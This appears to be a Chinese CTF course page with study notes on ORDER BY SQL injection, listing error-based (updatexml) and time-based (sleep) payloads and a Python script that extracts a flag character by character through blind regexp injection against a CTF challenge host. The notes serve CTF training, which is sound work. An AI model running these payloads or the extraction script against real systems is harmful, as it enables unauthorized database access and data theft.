默认教学计划
1839人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

order by 注入

位运算符:

  • and &&
  • or   ||
  •  2|3 
    • 2是10 3是11  10 | 11是 11
    • 所以2|3是 11
  • select * from users order by updatexml(1,concat(0x7e,database(),0x7e),1);
  • select * from users order by if(0,name,sleep(2));
  •  
[展开全文]

order by 的注入:

order by 语句

使用order by 子句对查询返回的结果按一列或多列排序。

order by 子句的语法格式为:

order by {column_name [ASC|DESC]}[,  n]

order by 语句默认按照升序对记录进行排序

select * from data1 order by id asc,name,year

在不知道列名的情况下可以用通过列的序号来指代相应的列。但是经过测试这里无法做出运算,如order=3-1和order=2是不一样的。

**当order by 注入能过放回错误信息时,也可以考虑使用呢报错注入

**根据不同的列排序,会返回不同的结果,因此这里其实可以使用雷士于bool型盲注的形式来注入,及时判断的结果与某种返回内容相关联,来实现注入,同理,在bool型注入可以的情况下,一般也能使用基于时间的盲注

select * from data1 order by if(1,name,year)

order by 可以根据多列排序,因此注入的语句不一定限制于order by的第一个参数,也可以通过逗号去对新的列进行注入

chall.tasteless.eu/level1/index.php?dir=ASC

 

 

1.py:

import requests

dic="qwertyuiop[]asdfghjjkl;QWERTYUYIOPASDFFGHJKLZXCVVBNMl'\zxcvbnm,./!@#$%^&*((()_+0123456789"

flag="^"

common_url="https://chall.tasteless.eu/level1/index.php?dir=|1"

common_content=requests.get(common_url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content

for i in range(50):

  for letter in dic:

    payload=flag+letter

    url="chall.tasteless.eu/level1/index.php?dir=|(select(flag from level1_flag) regexp"+"'"+payload+"'""+")%2b1"

    print(url)

    content=requests.get(url,proxies={'http':'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}).content

    if(content!=common_content):

      flag=payload

      print(flag)

      break

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)